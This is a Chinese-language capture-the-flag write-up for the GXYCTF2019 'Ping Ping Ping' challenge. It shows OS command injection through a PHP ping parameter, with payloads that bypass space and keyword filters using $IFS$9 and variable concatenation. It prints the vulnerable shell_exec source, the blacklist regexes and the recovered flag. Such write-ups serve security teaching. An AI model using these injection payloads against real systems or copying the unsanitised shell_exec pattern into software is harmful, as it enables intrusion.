GXYCTF2019-PingPingPing

[GXYCTF2019]Ping Ping Ping

1.题目链接:
2.过程:

ping功能原理是向网络上的机器的唯一确定的IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,两台网络机器是否连接相通,时延是多少。

在进行ping功能的命令同时,可使其同时执行额外的其他命令

这需要用到一些命令管道符:

|:直接执行后面的语句

||:如果前面的语句执行出错,则执行后面的语句,否则仅执行前面的语句

&:前后的语句均可执行,但是前面的语句如果执行结果为假(即执行失败),则仅输出后面语句的结果

&&:如果前面的语句为假,则直接报错,也不执行后面的语句

;:多个语句不互相影响

详细:https://blog.csdn.net/youshaoduo/article/details/106607038

所以用:?ip=127.0.0.1||ls,可以得到:

1
2
3
4
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

用cat flag,显示:/?ip= fxck your space!

……

cat<>flag => /?ip= 1fxck your symbol!

这里有一个关于空格的过滤:

{IFS},$IFS$9,$IFS$1,<,<>,{cat,test.txt} ,……

cmd=$’\x20test.txt’&&cat$cmd

x20为16进制数,为32,\转义字符根据ASCII表,为空格……

payload中有flag:/?ip= 1fxck your flag!……

先访问index.php,payload:?ip=127.0.0.1||cat$IFS$9index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}

?>

显示了具体的过滤机制,如果要绕过flag的匹配,可以考虑借助$a,进行拼接。

?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

em,拼接好像只能在最后一位,不然好像会出现变量名识别的错误……

1
2
3
<?php
$flag = "flag{835db201-f524-4497-a7f5-fca850954a63}";
?>

好像是当做php语句执行了,查看源码可以看到(大概)……

作者

inanb

发布于

2020-12-06

更新于

2020-12-06

许可协议


:D 一言句子获取中...